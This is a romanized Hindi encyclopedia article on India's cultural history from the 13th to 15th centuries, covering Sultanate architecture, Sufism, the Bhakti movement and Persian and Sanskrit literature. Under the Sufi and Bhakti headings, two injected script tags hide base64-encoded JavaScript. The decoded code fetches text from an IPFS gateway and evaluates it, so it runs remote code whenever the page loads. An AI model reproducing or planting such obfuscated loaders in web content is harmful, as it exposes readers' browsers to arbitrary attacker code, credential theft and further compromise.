भारत में सांस्कृतिक विकास

bharat mean saanskritik vikas (13vian se 15vian shatabdi)

terahavian shatabdi ke prarambhik varshoan mean dilli saltanat ka uday desh ke 'saanskritik vikas' ke naye kal ka sootrakal mana ja sakata hai. turk akramanakariyoan ko barbar nahian kaha ja sakata hai. ve log navian aur dasavian shatabdi mean madhy eshiya se pashchim eshiya mean ge the. unhoanne vahaan pahuanchakar usi prakar islam svikar kar liya, jis prakar usase pahale madhy eshiya se akraman karane valoan ne bauddh dharm aur hindoo dharm svikar kar liya tha. ve bhi us kshetr ki sanskriti mean ekakar ho ge.

arabi-farasi sanskriti

us samay morakko aur spen se lekar eeran tak ki muslim duniya mean chhaee arabi-farasi sanskriti apane utkarsh par thi. is kshetr ke nivasiyoan ne vijnan, sahity aur sthapaty kala ke kshetr mean mahattvapoorn yogadan diya tha. jab turkiyoan ne bharat par akraman kiya, tab tak ve islam ko poori tarah apana chuke the aur usake siddhaant unake samane spasht the. itani hi nahian, shasan kala aur sthapaty adi ke bare mean bhi unake nishchit vichar the. doosari or bharatiy bhi apane dharm ko lekar nishchit mat the, aur unake usake prati apane vichar the. kala, sthapaty aur sahity ko lekar bhi unake vichar spasht the.

bharatiy samaj aur turk

is bharatiy samaj ke sath turkoan ka sambandh ek samriddh vikas ki lambi k di mean parivartit hua. kintu, yah prakriya lambi aur utar-chadhav se bhari huee thi. vastutah jab do pakshoan ke apane-apane dridh vichar aur vishvas hote haian, to ek-doosare ko galat samajhane ki sambhavana bhi maujood rahati hai. kintu is prakriya mean ek doosare ko samajhane ke prayatnoan ke phalasvaroop kalaoan, sthapaty, sangit, sahity aur yahaan tak ki riti-rivazoan, karm-kandoan aur dharmik vishvasoan ke kshetr mean bhi ek-doosare mean vilayan ki prakriya ka janm hua. vilayan aur sangharsh ki ye prakriyaean ek-doosare ke samantar chalati rahian. desh aur kal ke anusar bal kabhi ek par adhik ho jata tha aur kabhi doosare par.

sthapaty kala

naye shasako ki pahali zaroorat rahane ke lie makanoan aur apane anuyayiyoan ke lie pooja ke sthanoan ki thi. pooja ke sthan upalabdh karane ke lie unhoanne pahale se vidyaman mandiroan aur imaratoan ko masjidoan mean parivartit kiya. isake kee udaharan haian, dilli ki quvvat-ul-islam masjid, jo qutubaminar ke pas hai, aur ajamer ki imarat adhahi din ka jhoanp da. quvvat-ul-islam masjid pahale ek jain mandir thi, jise kalantar mean vishnu-mandir mean parivartit kiya gaya tatha adhahi din jhop da ek bihar tha.[[chitr:Adhai-Din-Ka-Jhonpra-Ajmer.JPG|thumb|250px|adhaee din ka jhopada, ajamer]]

nee nirman shaili

dilli mean imarat ke kshetr mean naya nirman 'ek upasana grih' (garbh-grih) ke samane mahin aur vistrit khudaee se poorn tin maharabean thi. garbh-grih ko gira diya gaya. isaki sajavat ki shaili bahut hi ruchipoorn hai. isamean koee manav ya pashu ki akriti nahian hai. kyoanki aisa karana gair-islami mana jata tha. isake sthan par usamean bel-boote aur quran ki ayatean khodi gee haian. ye donoan chizean ek doosare mean kalatmak dhang se mili huee haian. lekin jaldi hi turkoan ne apani nayi imaratean banani shuroo kar dian. is kam ke lie unhoanne sthaniy patthar katane valoan aur ranabhiroan adi shilpakaroan ka prayog kiya. ye shilpi apane kam ke lie prasiddh the. bad mean pashchim eshiya se kuchh anubhavi sthapaty shilpi bharat aye. turkiyoan ne apani imaratoan mean maharaboan aur gumbadoan ka b de paimane par prayog kiya. inamean n to maharab aur n hi gumbad turki ya arabi khoj hai. araboan ne is shilp ko vijrantain samrajy ke madhyam se rom se grahan kiya tha. phir usaka vikas karake unhoanne is shilp ko apani rangat de di thi.

maharab tatha gumbad ka prayog

maharab aur gumbadoan ke istemal ke kee labh the. gumbad bhavy akash-rekhaoan ka nirman karate the. phir jaise-jaise sthapaty shilpi anubhav prapt karake arthik atm-vishvas prapt karate ge, vaise-vaise gumbadoan ki ooanchaee badhati gee. vargakar imaratoan par gol gumbad banane aur unhean aur ooancha banane ke kee prayog hue. is prakar kee b di-b di aur bhavy imaratoan ka nirman hua. maharaboan aur gumbadoan ke nirman se stambhoan ki avashyakata kam ho gee, kyoanki b de-b de bhavanoan ke nirman mean kee stambhoan ki avashyakata p dati thi. taki sab kuchh saf dikhaee de aur chhat bhi tiki rahe. lekin maharaboan aur gumbadoan ke nirman ke lie mazaboot siment ki zaroorat thi. isake bina patthar nahian jo de ja sakate the. turk apani imaratoan mean badhiya qism ka choona istemal karate the. is prakar turkoan ke agaman ke sath hi bharat mean nayi sthapaty shailiyoan aur badhiya qism ke choone ka istemal shuroo hua.

maharab aur gumbadoan ka nirman bharatiy pahale se janate the, lekin unaka istemal b de paimane par nahian hota tha. isake atirikt maharab banane ka sahi vaijnanik tariqa kabhi-kabhi hi apanaya jata tha. maharab banane ka bharatiy tariqa-antar kam karate hue ek ke bad doosara patthar vahaan tak jamate jane ka tha, jab tak ki oopar ek sil ya nukila patthar jamaya ja sake. turk shasakoan ne gumbad aur maharab tatha shila aur shahatir donoan vidhiyoan ka prayog kiya.

alankaran prayog

[[chitr:Qutub-Minar.jpg|thumb|250px|qutub minar, dilli]]alankaran ke kshetr mean turk manav aur pashu akritiyoan ka prayog nahian karate the. isake sthan par jyamitiy aur phooloan ke namoone banate the aur usake sath quran ki ayatean khudavate the. is prakar arabi lipi bhi kala ka namoona ban gee. alankaran ki yah sanyukt vidhi 'arabask' kahalati hai. ve adhikatar hindoo alankaran ke namoone bhi apanate the, jaise ghantiyoan k namoone, bel ke namoone, svastik, kamal ke phool ityadi, is prakar bharatiyoan ki tarah turk bhi alankaran ke prati gahari ruchi rakhate the. is kary ke lie patthar katane vale bharatiy kaushal ka unhoanne poora upayog kiya. iltutamish ke chhote se maqabare, dilli mean qutubaminar ke nikat, par itana mahin kam kiya gaya ki ek ianch khali jagah bhi nahian chho di gee. turk lal rang ke patthar ka prayog karake apani imaratoan ko rangin bhi banate the. lal rang ko halka rakhane ki garj se alankaran ke lie inamean pila patthar aur sangamaramar bhi istemal hota tha.

turkoan ki bhavy imarat terahavian shatabdi mean banaee gee qutubaminar hai. yah minar mool roop se 71.4 mitar ooanchi thi aur dilli nivasiyoan ke priy soofi sant 'qutubuddin bakhtayar kaki' ki smriti mean iltutumish n banavayi thi. stambh banavane ki parampara bharat aur pashchim eshiya donoan sthanoan par milati hai, tathapi qutubaminar kee drishtiyoan se alag thi. isaki prabhavotpadakta is bat mean hai ki isamean chhajje haian, kintu ve mukhy sthambh se ju de hue haian. divaroan mean aur oopar ki manziloan mean lal aur safed patthar ka aur sangamaramar ka prayog hai. isako dekhakar pasalodar imarat ka abhas hota hai.

khilajikalin imaratean

khilaji kal mean anek imaratean banian. alauddin ne siri mean apani rajadhani banayi, jo qutub se kuchh hi kilomitar ki door par hai. durbhagay se is shahar ka ab kuchh bhi shesh nahian hai. alauddin ki yojana qutub se doguni ooanchaee ka minar banane ki thi, lekin vah usako poora karane se pahale hi mar gaya. phir bhi, usane qutub ke sath pravesh dvar ka nirman avashy karavaya. yah daravaza ilahi daravaza kahalata hai aur isaki maharaboan mean adabhut santulan hai. is par ek gumbad bhi hai. jisake nirman mean pahali bar sah vaijnanik vidhi ka prayog kiya gaya tha. atah yah spasht hai ki is kal tak bharatiy karigaroan ne maharab aur gumbad banane ki vaijnanik vidhi ko atmasath kar liya tha.

tugalak-kalin sthapaty

tugalaq vansh ka kal, jo ki dilli saltanat ke charamotkarsh ka kal bhi hai aur usake vighatan ka pahala bind bhi, mean bhi anek imaratoan ka nirman hua. gayasuddin aur muhammad tugalak ne tugalakabad mean anek mahaloan aur qiloan ka nirman karavaya. yamuna ke jal ko rokakar ek vishal jhil ka nirman kiya gaya. gayasuddin ka maqabara ek nayi sthapaty shaili ki or sanket karata hai. isamean ooanchaee ka abhas dene ke lie imarat ko ek ooanche chabootare par banaya gaya aur usake oopar sangamaramar ka gumbad banaya gaya.

tugalak sthapaty shaili ki visheshata dhalavaan divarean haian. ise 'salami' kaha jata hai aur isase mazaboot tatha thos hone ka abhas milata hai. lekin firoj shah tugalaq dvara banavayi gee imaratoan mean 'salami' ka prayog nahian milata. tugalak sthapaty ki doosari visheshata maharab, dvaragrakashth aur shahatir ke siddhaantoan ka sayas sammelan hai. firoj tugalak ki imaratoan mean us shaili ka prayog bahutayat se milata hai. haujakhas, jise amod-pramod ke lie banavaya gaya tha aur jisake charoan or vishal jhil thi, is shaili ka udaharan hai. isaki ek manzil mean yadi maharaboan ka prayog hai to doosari mean shahatirean aur liantal ka. firoj ke naye qile, jise ab kotala kaha jata hai, ki kuchh imaratoan mean bhi is shaili ka prayog hua hai. tugalak apani imaratoan mean manhaga lal patthar istemal nahian karate the. ve asani se upalabdh matamaila patthar lagate the. isalie tugalaki imaratoan mean bahut kam alankaran milata hai. lekin firoj ki sabhi imaratoan mean alankaran ke lie kamal ka prayog hua hai.

lodikalin imaratean

is kal mean anek sundar masjidoan ka bhi nirman hua. yahaan sab ka varnan karana sambhav nahian hai. dhyan dene yogy bat yah hai ki bharat mean us kal tak sthapaty ki ek svatantr shaili ka vikas ho chuka tha, jisamean sthaniy shilp aur turk-shilp ka mishran tha.[[chitr:Lodi-Gardens-Delhi.jpg|thumb|left|250px|lodi bagicha, dilli]] lodiyoan ne is parampara ko age badhaya. unaki imaratoan mean maharab tatha shahatir aur liantal, donoan ka prayog hua hai. inamean rajasthani-gujarati shaili ke chhajjoan, mandapoan aur guphaoan ka bhi prayog milata hai. lodiyoan ne ek aur shaili ka bhi prayog kiya. vah thi imaratoan ko ek visheshatah maqabaroan ko ooanche chabootaroan par banana taki ve b di aur ooanchi lagean. kuchh maqabare udyanoan ke madhy mean banaye gaye haian. dilli mean lodi udyan isaka sundar udaharan hai. kuchh maqabare ashtakoni banaye gaye. inamean se kuchh visheshataoan ko bad mean mugaloan ne bhi apanaya. shahajahaan dvara nirmit tajamahal isi ka parinam hai.

dilli saltanat ka vighatan hone ke samay tak bharat ke anek bhagoan mean phaile rajyoan mean apani-apani sthapaty shailiyoan ka vikas bhi ho chuka tha. inamean se bhi anek sthaniy shailiyoan se prabhavit hueean. jaisa ki bangal, gujarat, malava aur dakshin ityadi mean aisa hi hua. is prakar chaudahavian aur pandrahavian shatabdi mean desh ke vibhinn bhagoan mean svatantr shailiyoan ke prayog se mukt anekanek imaratoan ka nirman hua. tugalakoan ke shasan kal mean dilli mean vikasit sthapaty shaili is prakar vibhinn kshetriy rajyoan mean apanayi gee aur usamean parivartan bhi kie ge.

dharmik vichar aur vishvas

[[chitr:Buddhism-Symbol.jpg|thumb|200px|bauddh dharm ka pratik]]uttar bharat mean jab turkoan ne apana samrajy sthapit kar liya, tab islam bharat ke lie naya nahian thaan. panjab aur misr mean islam ki sthapana navian-dasavian shatabdi mean hi ho gee thi. arab yatri bhi usase pahale hi keral mean bas gaye the. us kal mean arab yatri aur soofi sare desh mean bhraman karate the. pashchim eshiya ke log bhi alaberooni ki pustak, 'kitab-ul-hind' se parichit ho chuke the. us samay tak bauddh-kathaoan, bharatiy lok-gathaoan, jyotish shastr aur chikitsa shastr par anek pustakoan ka arabi mean anuvad ho chuka tha. bharatiy yogiyoan ki yatraean bhi unake kshetr mean huee thian. islam par bauddh darshan aur vedant ka prabhav vidvano ke lie vad-vivad ka vishay raha hai. afaganistan aur madhy eshiya ke kuchh hissoan mean, vishesh roop se prachin vyapar margoan ke as-pas bauddh biharoan, stoopoan aur buddh ki moortiyoan ke bhagnavashesh kisi samay bauddh-prabhav ki vyapakata ka sanket karate haian.

yah tay kar pana to kathin hai ki islam par bharatiy darshan ka prabhav kitana hai, lekin is bat mean koee sandeh nahian hai ki islam ke vikas kal mean us par yoonani aur bharatiy darshanoan ka alag-alag anupatoan mean nishchit prabhav p da tha. in vicharoan ne soofi mat ke vikas ki prishthabhoomi taiyar ki. barahavian shatabdi ke bad bharat mean paanv jamane ke pashchath soofi mat ne hindoo aur muslimoan ke lie samany manch upalabdh kiya. lekin, kuchh vidvanoan ka mat hai ki yaugik kriyaoan sahit anek karmakandoan ko arambhik soofiyoan ke dvara apanakar apane tantr mean sammilit karane ke bavajood unaki vaicharik sanrachana islami hi rahi.

soofi mat

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

islami itihas mean dasavian shatabdi anek karanoan se mahattvapoorn mani jati hai. isi samay abbasi khilafat ke avasheshoan se turkoan ka uday hua aur isi kal mean darshan aur vishvasoan mean mahattvapoorn parivartan hue. darshan ke kshetr mean is samay mutajil athava tark-buddhivadi darshan ka adhipaty samapt hua, jo quran aur hadis, hazarat muhammad aur unake sahayogiyoan ki parampara, par adharit thi. isi samay soofi rahasyavad ka janm hua. tark-buddhivadiyoan par sanshayavad aur nastakita phailane ka arop lagaya gaya. vishesh roop se tark diya gaya ki addhaitavadi darshan, jo eeshvar aur usaki srishti ke mool roop se ek hone ki bat karata hai, isalie dharmadrohi hai kyoanki isase srashta aur srishti mean bhed samapt ho jata hai.

bharat mean pravesh

paramparavadiyoan ki rachanaean islami kal ki char vicharadharaoan mean bant gee. inamean se hanafi vicharadhara sabase adhik udaravadi thi. ise hi poorvi turkoan ne apanaya aur ye poorvi turk hi kalantar mean bharat aye. rahasyavadiyoan ka janm islam ke aantargat bahut pahale hi ho gaya tha. in logoan ko hi bad ke samay mean 'soofi' kaha jane laga. inamean se adhikaansh aise the, jo mahanh bhakt the aur samriddhi ke bhoande pradarshan aur islami samrajy ki sthapana ke bad utpann naitik-patan ke karan dukhi the. atah in soofiyoan ko rajy se koee sarokar nahian tha. ye log badashahoan, raja aur maharajaoan dvara pradan kiye jane vale dan-upahar adi ko svikar nahian karate the. bad ke ane vale samay mean bhi uname yah parampara jari rahi. mahila rahasyavadi 'rabiya' (mrityu athavian shatabdi) aur 'mansoor-bin-halaj' (mrityu dasavian shatabdi) jaise prarambhik soofiyoan ne eeshvar aur vyakti ke bich prem sambandh par bahut bal diya. kintu unaki sarveshvaravadi drishti ke karan unamean aur paramparavadi tatvoan ke bich sangharsh ki sthiti utpann ho gee. in paramparavadiyoan ne afavahoan ke bal par mansoor ko phaansi lagava di. isake bavajood muslim janata mean soofivadi vichar j d jamate gaye.

bhakti andolan

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|200px|vedturkoan ke bharat agaman se kafi pahale se hi yahaan ek 'bhakti andolan' chal raha tha, jisane vyakti aur eeshvar ke bich rahasyavadi sambandh ko bal dene ka prayatn kiya. yadyapi bhakti ke bij vedoan mean hi prapt ho jate haian, kintu prarambh mean is par itana bal nahian diya gaya tha. bauddh mat ke prasar ke samantar hi vyaktigat eeshvar ki upasana ke vichar ki utpatti huee jan p dati hai. eesa ki prarambhik shatabdiyoan mean mahayan bauddhoan ne buddh ke avalokit roop ki pooja prarambh kar di thi. vishnu ki pooja ka prachalan bhi isake sath-sath hua. gupt kal mean 'ramayan' aur 'mahabharat' jaisi pavitr pustakoan ko phir se likha gaya to jnan aur karm ke sath-sath bhakti ko bhi mukti ka ek marg svikar kar liya gaya. parantu bhakti aandolan ki j dean satavian se barahavian shatabdi ke madhy dakshin bharat mean hi jamian. jaisa ki pahale pahale hi jnat tha, shaiv nayanar aur vaishnav alavar jainiyoan aur bauddhoan ke aparigrah ko asvikar kar eeshvar ke prati vyaktigat bhakti ko hi mukti ka marg batate haian. ve varn aur jati-bhed ko bhi asvikar karate the. unhoanne prem aur vyaktigat eeshvar bhakti ka sandesh samast dakshin bharat mean sthaniy bhashaoan ka prayog karake pahuanchaya.

prachar-prasar

yadyapi dakshin aur uttar bharat ke madhy sampark ke anek sootr the, phir bhi dakshin se uttar bharat tak bhakti andolan ke prasar mean kafi samay laga.[[chitr:Sant-Namdev.jpg|thumb|left|200px|sant namadev]] yah ashcharyajanak hai ki jin karanoan se nayanar aur alavar bhakti dakshin mean jaldi hi prasiddh ho gaye, unhian karanoan se any kshetroan mean unaki prasiddhi simit rahi. karan unaka sthaniy bhashaoan mean kavy rachana karana aur upadesh dena tha. us kal tak sanskrit hi vichar-sampreshan ka madhyam thi. uttar mean sant aur vicharak donoan hi bhakti darshan laye. inamean kuchh ka ullekh karana uchit hoga. maharashtr ke sant namadev chaudahavi shatabdi ke poorvahr mean hue the, aur ramanand ka samay chaudahavian shatabdi ka uttarardh aur pandrahavian shatabdi ke pahale pachchis varshoan tak mana jata hai. unaka kavy, jo marathi bhasha mean hai, eeshvar ke prati gahare prem aur bhakti ko vyakt karata hai. kaha jata hai ki namadev door-door tak yatra karate the aur dilli mean soofi santoan ke sath vichar-vimarsh kiya tha. ramanand ramanuj ke shishy the. unaka janm prayag (ilahabad) mean hua tha aur ve prayag tatha banaras mean rahate the. unhoanne vishnu ke sthan par ram ki bhakti arambh ki. isase bhi adhik unhoanne charoan varnoan ko bhakti ka upadesh diya aur nimn varn ke logoan ke sath khan-pan par nishegh ka virodh kiya. unake shishyoan mean sab jatiyoan ke log the. inamean anek shoodr bhi the. inake shishyoan mean se ravidas chamar the, kabir julahe the, sena naee the aur sadhana kasaee the. namadev bhi shishyoan ke chunav mean vishal hriday se kam lete the.

andolan ki vyapakata

in santoan ke dvara phailaye gaye bij upajaoo bhoomi par p de the. rajapoot rajaoan ki parajay aur turkoan ki saltanat sthapit ho jane ke bad brahmanoan ka adar aur unaki shakti kam ho gee thi. parinamatah nathapanth jaise ve aandolan, jo varn vyavastha aur brahmanoan ke shreshthatv ko chunauti dete the, panapane lage aur unhean lokapriyata mili. yah soofi ke dvara pracharit islam mean samanata aur bhratritv ke vicharoan ke samantar tha. jan samany dharm ke prachin roop se santusht nahian tha. ve aisa dharm chahate the, jo unake tark aur bhavana donoan par khara utare. inhian karanoan se pandrahavian aur chaudahavian shatabdi mean uttar bharat mean bhakti andolan vyapak hota chala gaya.

[[chitr:Guru-Nanak.jpg|thumb|200px|guru nanak]]guru nanak ka lakshy naye dharm ki sthapana karana nahian tha. unaka pavitratavadi drishtikon shanti, sambhavana aur bhaeechara sthapit karane ke lie hindoo aur musalamanoan ke bich khaee patane ka lakshy lekar tha. vidvanoan ne is vishay mean anek vichar prastut kie haian ki unake vicharoan ka hindoo aur musalamanoan par kafi prabhav p da. is bat ke lie tark prastut kie jate haian ki dharm ka purana svaroop lagabhag aparivartit raha. n hi varn-vyavastha ko to da ja saka. phir dhire-dhire nanak ke vicharoan ne ek naye mat sikkh dharm ko janm diya aur kabir ke anuyayi dhire-dhire kabir panth nam ke ek naye panth mean simat kar rah gaye. lekin kabir aur nanak ke lakshyoan ko ek udar drishti se dekhana chahie. unhoanne ek aisa janamat taiyar kiya, jo shatabdiyoan tak kam karata raha. yah bhali-bhaanti vidit hai ki akabar ki dharmik aur rajanitik nitiyoan mean in do mahanh santoan ke upadeshoan ko lakshit kiya ja sakata hai. in nitiyoan par chalane vala akabar akela hi nahian tha. lekin, yah asha bhi nahian karani chahie ki donoan mukhy dharmoan-hindoo aur islam ke paramparavadi tatv bina kisi sangharsh ke hathiyar dal dete. in do virodhi dharaoan, jinamean se ek udar aur ek asampradayik thi, aur doosari puratan panthi aur paramparavadi ke bich ka sangharsh solahavian, satrahavian aur atharahavian shatabdiyoan mean buddhivadi aur dharmik matabhedoan ke kendr mean raha. isi aviral sangharsh se yah pata chalata hai ki jo vichar aur svaroop kabir, nanak ya usi tarah ke sochane vale aur logoan ne samane rakha, unaka prabhav kisi bhi tarah se kam nahian hai.

vaishnav andolan

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vaishnav andolan uttar bharat mean vishnu ke do avatar ram aur krishna ke prati bhakti bhavana ko lekar chalaya gaya bhakti andolan tha. krishna ki bal lila aur gokul ki gopiyoan aur visheshatah radha ke sath rasalila bhakt kaviyoan ka priy kavy ban gaya.[[chitr:Chetanya-Mahaprabhu.jpg|thumb|200px|chaitany mahaprabhu]] ise atma aur paramatma ke bich prem ke anek roopoan ke pratik ke roop mean unhoanne prayukt kiya. prarambhik soofiyoan ki bhaanti hi chaitany mahaprabhu ne sangit mandaliyaan jo di aur kirtan ko adhyatmik anubhooti ke lie prayukt kiya, jisamean eeshvar ka nam lene se bahy sansar ki sudh nahian rahati.

bhakt kaviyoan ka yogadan

aisa mana jata hai ki chaitany ne vrindavan sahit sare bharat ka bhraman kiya tha. vrindavan mean unhoanne krishna bhakti ki punahsthapana ki. parantu, unhoanne apana adhikaansh samay gaya mean vyatit kiya tha. unaka prabhav vyapak tha. poorvi bharat mean to yah prabhav aur bhi gahara tha. inake kirtanoan mean hindoo aur musalaman donoan jate the. inamean nimn jatiyoan ke log bhi hote the. chaitany ne dharmik granthoan ya moortipooja ka virodh nahian kiya, lekin unhean paramparavadi bhi nahian kaha ja sakata. gujarat ke narasianh mehata, rajasthan ki mira, pashchimi uttar pradesh ke sooradas aur bangal tatha u disa ke chaitany ka lakshy giti-kavy aur prem ki adabhut ooanchaee par pahuancha, jo varn aur jati ki simaoan ko par kar gaya.

sahity

is kal mean sanskrit uchch vicharoan ke sampreshan aur sahity ka madhyam bani rahi. vastutah vibhinn vidhaoan mean sanskrit granthoan ki vipul matra mean rachana huee, sambhavatah poorv kaloan se bhi adhik.

sanskrit sahity

shankarachary ke anusaran mean addhait darshan par ramanuj, madhavachary, vallabh ityadi ki rachanaean prakash mean ati haian. unake vicharoan ke tezi se prasar aur un par huee bahasoan se is bat ka sanket milata hai ki sanskrit ke us kal mean kitani mahattvapoorn bhoomika rahi. muslim kshetroan sahit desh ke vibhinn bhagoan mean anek vishesh vidyalay aur akadamiyaan thian. in vidyalayoan aur akadamiyoan ke karyoan mean hastakshep nahian kiya jata tha. atah ve pallavit hoti rahian. vastav mean unamean se anek ne kagaz ke avishkar ka labh uthaya aur anek prachin granthoan ka punarutthan aur prasar kiya. yahi karan hai ki ramayan aur mahabharat ke kee prachinatam sanskaran gyarahavian-barahavian shatabdi ke haian.

granth rachanaean

darshan shastr ke atirikt kavy-naty, kala, chikitsa shastr, jyotish shastr aur sangit ityadi par bhi kam hota raha. anek tikaean aur dharmashastr par sar barahavian se solahavian shatabdiyoan ke bich likhe gaye. vijnaneshvar ka mahanh 'mitakshar' bhi, jo do hindoo dharm shastr ki vicharadharaoan ka sammilan hai, barahavian shatabdi se pahale ka nahian hai. ek any vyakhyakar bihar ke chandeshvar hue haian, jo chaudahavian shatabdi ke haian. us kal mean adhikaansh granthoan ki rachana dakshin mean huee. usake bad bangal, mithila aur pashchim bharat ka kram ata hai. us kary ko hindoo shasakoan ka sanrakshan mila. jainoan ne bhi sanskrit ke vikas mean yogadan diya. hemachandr soori unamean pramukh haian. yah ashcharyajanak hai ki unhoanne adhikaanshatah bharat mean musalamanoan ki upasthiti par koee dhyan nahian diya. islami granthoan ya farasi granthoan ko sanskrit mean anoodit karane ka koee prayas nahian kiya gaya. sambhavatah prasiddh farasi kavi jami dvara rachit 'yusuf aur zulekha ki prem-katha' ka anuvad hi isaka apavad hai. sambhavatah yah poorv-vyakt alaberooni ke vichar ke karan tha. vastavikata se iankar hi sambhavatah is bat ka karan tha ki us kal ka adhikaansh sahity punaravritti hai aur usamean nayi drishti ya maulikata nahian milati.

muslim sahity

halaanki muslimoan ka adhikaansh sahity arabi mean likha gaya tha, jo paigambar muhammad ki bhasha thi aur spen se lekar bagadad tak sahity ki bhasha thi, lekin bharat ane vale turk, farasi bhasha se bahut prabhavit the. farasi dasavian shatabdi se hi madhy eshiya ki sahityik aur prashasakiy bhasha ban gayi thi.

arabi tatha farasi ka prayog

bharat mean arabi bhasha ka prayog islami vidvanoan aur darshanikoan ke chhote se varg tak hi simit raha, kyoanki us vishay ka adhikaansh sahity arabi mean hi tha. dhire-dhire islami vidhan farasi mean bhi taiyar kie gaye. usamean bharatiy vidvanoan ki bhi madad li gee. unamean se adhikaansh sar firoj shah tugalaq ke shasan kal mean taiyar hue. parantu arabi mean bhi sar likhe jate rahe. unamean se sabase prasiddh "fatava-e-alamagiri" hai, jo aurangazeb ke shasan kal mean vidhivetaoan ke ek dal ne taiyar kiya tha.

dasavian shatabdi mean turkoan ke bharat agaman ke sath hi yahaan ek nayi bhasha 'farasi' aee. isi samay eeran aur madhy eshiya mean farasi ka punarutthan shuroo hua tha. firadausi aur sadi jaise farasi ke mahanatam kaviyoan ka rachanakal dasavian aur chaudahavian shatabdi ke madhy hi hai. turkoan ne shuroo se hi sahity aur prashasan ke lie farasi ka istemal kiya gaya. is prakar, farasi ke vikas ke lie lahaur pahala kendr ban gaya. bharat mean farasi lekhakoan ki kuchh rachanaean hi upalabdh haian. masood sasad salaman jaise lekhakoan ki rachanaoan mean lahaur ke prati prem aur lagav milata hai. is kal ke sabase adhik ullekhaniy farasi lekhak amir khusaro haian. patiyali, pashchimi uttar pradesh mean badayooan ke pas, mean 1252 mean janme amir khusaro ko bharatiy hone par garv tha. vah kahata hai ki, "maianne do karanoan se hindustan ki prashansa ki hai. pahala karan hai ki hindustan meri janm bhoomi aur hamara desh hai. desh ko pyar karana mahattvapoorn kartavy hai. hindustan jannat ki tarah hai. sara sal harabhara aur phooloan se bhara rahata hai. yahaan ke brahman arastu ki tarah vidvanh haian aur kee kshetroan mean anek vidvanh haian...".

amir khusaro ka yogadan

bharat ke prati amir khusaro ka prem is bat ki or sanket karata hai ki turki shasak varg videshi shasak ke roop mean vyavahar karana nahian chahata tha aur unake tatha bharatiyoan ke bich ek saanskritik adan-pradan ki bhoomi taiyar ho chuki thi. khusaro ne anek kavyoan ki rachana ki, jisamean aitihasik romaans bhi hai. usane sabhi kavy shailiyoan ka prayog kiya aur ek nayi farasi shaili ka nirman kiya, jo bad mean 'sabak-e-hindi' ya 'bharatiy shaili' kahalayi. khusaro ne hindi, jise usane 'hindavi' kaha hai, sahit bharatiy bhashaoan ki prashansa ki hai. usaki kuchh muktak hindi kavitaean milati haian. lekin hindi kavy 'khaliq-bari', jise khusaro rachit kaha jata hai, usi nam ke bad ke kisi kavi ki rachana jan p dati hai. vah ek pravin sangitajn bhi tha aur dharmik sangit sabhaoan (sama) mean bhag leta tha. in sabhaoan ka ayojan prasiddh soofi sant nizamuddin auliya karate the. kaha jata hai ki khusaro ne apane pir nizamuddin auliyo ki mrityu (1325) ka samachar janane ke doosare hi din pran tyag die. use usi sthan par dafanaya gaya.

farasi ka prabhav

is kal mean bharat mean kavy ke alava farasi mean itihas lekhan ki ek dridh shakha ka bhi vikas hua. is kal ke sarvadhik prasiddh itihasakar jiyauddin barani, asif aur isami hue. farasi bhasha ke madhyam se bharat madhy eshiya aur eeran ke sath nazadiki saanskritik sambandh bana saka. dhire-dhire farasi n sirph prashasan aur rajanayik bhasha bani balki uchch-vargoan aur unake matahatoan ki bhasha bhi ban gee aur is bhasha ne yahaan apana prabhav jama liya. ye bhasha bharat par ek lambe samay tak rajy karaye vale mugal vansh ki pramukh bhasha thi. pahale yah uttar bharat mean prashasakiy bhasha bani aur bad mean dilli saltanat ke vistar ke sath dakshin bharat mean tatha desh ke vibhinn bhagoan mean evan muslim shasan sthapit hone par sare bharat mean.

sanskrit pustakoan ka farasi anuvad

is prakar sanskrit aur farasi mukhy roop se sampark bhashaoan ka kary karati rahi aur rajaniti, dharm, darshan aur sahity ka kary bhi un bhashaoan mean hota raha. pahale donoan ke madhy bahut adan-pradan tha. ziya naqshabi (mrityu 1350) pahala vyakti tha, jisane sanskrit kathaoan ki ek shrriankhala, jisake aantargat ek tota ek aisi virahini nayika ko kahani sunata hai, jisaka pati yatra par gaya tha, ka farasi mean anuvad kiya tha. yah pustak "tooti nama" jisaki rachana muhammad tugalaq ke samay huee thi, bahut lokapriy huee aur farasi se usaka anuvad turki aur anek yooropiy bhashaoan mean bhi hua. usane prachin bharatiy 'kamashastr' par pustak "kokashastr" ko bhi farasi mean anoodit kiya. bad mean firoz shah ke samay mean chikitsa aur sangit shastr par sanskrit ki pustakoan ka farasi mean anuvad hua. kashmir ke sultan zain-ul-abedin ne prasiddh itihas pustak 'rajatarangini' tatha 'mahabharat' ka farasi mean anuvad karavaya. usake sanket par chikitsa tatha sangit shastr par bhi sanskrit pustakoan ka anuvad kiya gaya.

kshetriy bhashaean

is kal mean anek kshetriy bhashaoan mean bhi uchch koti ki rachanaean likhi geean. inamean se kuchh bhashaoan jaise hindi, bangali aur marathi, ki utpatti athavian shatabdi mean huee thi. tamil adi kuchh bhashaean adhik prachin haian. chaudahavian shatabdi ke kavi amir khusaro ne kshetriy bhashaoan ka astitv pahachanate hue kaha tha ki "ye zubanean rozamarra ki zindagi mean bahut lambe vakt se istemal ki jati rahi haian."

